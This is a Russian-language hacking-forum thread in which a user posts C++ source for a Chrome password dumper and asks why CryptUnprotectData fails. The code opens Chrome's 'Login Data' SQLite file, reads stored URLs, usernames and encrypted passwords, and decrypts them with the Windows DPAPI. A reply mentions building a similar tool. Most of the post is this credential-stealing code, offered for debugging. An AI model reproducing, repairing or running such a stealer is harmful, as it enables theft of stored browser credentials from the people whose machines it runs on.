• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

  • 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

sqlite3 decrypte error 0xcccccc

WhoopZee

New member
25.08.2020
1
0
BIT
0
Здравствуйте, решил сделать дешифратор sqlite3, для примера взял допустим пароли от хрома. И появилась проблема, а конкретно в функции CryptUnprotectData . Типа вот выделяется память под pbData для зашифрованного пароля encrypted далее для CryptUnprotectData мы передаём данные с encrypted и decrypted, под decrypted память должна выделится внутри CryptUnprotectData , так как мы длину не знаем. В итоге CryptUnprotectData ничего не делает и выдает ошибку 0xcccccc

C++:
// ConsoleApplication2.cpp : Этот файл содержит функцию "main". Здесь начинается и заканчивается выполнение программы.
//

#pragma comment(lib, "crypt32.lib")

#include <iostream>
#include <sstream>
#include <algorithm>
#include <windows.h>
#include <Wincrypt.h>

#include "sqlite3.h"

class Chrome {
public:
    std::stringstream getPasswords(sqlite3* db) {
        std::string sql = "SELECT action_url, username_value, password_value FROM logins";

        std::stringstream dump(std::string(""));
        sqlite3_stmt* pStmt;
        int rc;
        rc = sqlite3_prepare(db, sql.c_str(), -1, &pStmt, 0);
        if (rc != SQLITE_OK) {
            dump << "statement failed rc = " << rc;
            return dump;
        }

        rc = sqlite3_step(pStmt);
        while (rc == SQLITE_ROW) {
            dump << sqlite3_column_text(pStmt, 0) << std::endl;
            dump << (char*)sqlite3_column_text(pStmt, 1) << std::endl;

            DATA_BLOB encryptedPass, decryptedPass;

            encryptedPass.cbData = (DWORD)sqlite3_column_bytes(pStmt, 2);
            encryptedPass.pbData = (byte*)malloc((int)encryptedPass.cbData);

            memcpy(encryptedPass.pbData, sqlite3_column_blob(pStmt, 2), (int)encryptedPass.cbData);

            CryptUnprotectData(
                &encryptedPass,
                NULL,
                NULL,
                NULL,
                NULL,
                0,
                &decryptedPass);

            char* password = (char*)decryptedPass.pbData;
            while (isprint(*password)) {
                dump << *password;
                password++;
            }

            dump << std::endl;
            free(encryptedPass.pbData);
            rc = sqlite3_step(pStmt);
        }
        rc = sqlite3_finalize(pStmt);
        return dump;
    }
};

int main() {
    sqlite3* db;
    std::stringstream dump;

    std::string appData = getenv("APPDATA");
    std::string path = appData + "/../Local/Google/Chrome/User Data/Default/Login Data";
    std::replace(appData.begin(), appData.end(), '\\', '/');

    if (sqlite3_open(path.c_str(), &db)) {
        std::cout << "Can't open database";
        return 0;
    }

    Chrome ste = Chrome();
    dump = ste.getPasswords(db);

    std::cout << dump.str();

    sqlite3_close(db);
    return 0;
}

Библиотеки я приложил.
Мб Chrome поменял метод шифрования....
 

Вложения

  • библеотеки.zip
    2,1 МБ · Просмотры: 156

pp11

Green Team
16.09.2018
201
82
BIT
0
Какая странная у вас комбинация C и C++ в коде)))
А вообще я присоединяюсь к вопросу. Месяца три назад делал похожую вещь, не помню была ошибка или нет, но вот CryptUnprotectData у меня работал криво.

Мб Chrome поменял метод шифрования....

Не думаю, так как WebPassView отображает пароли корректно.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!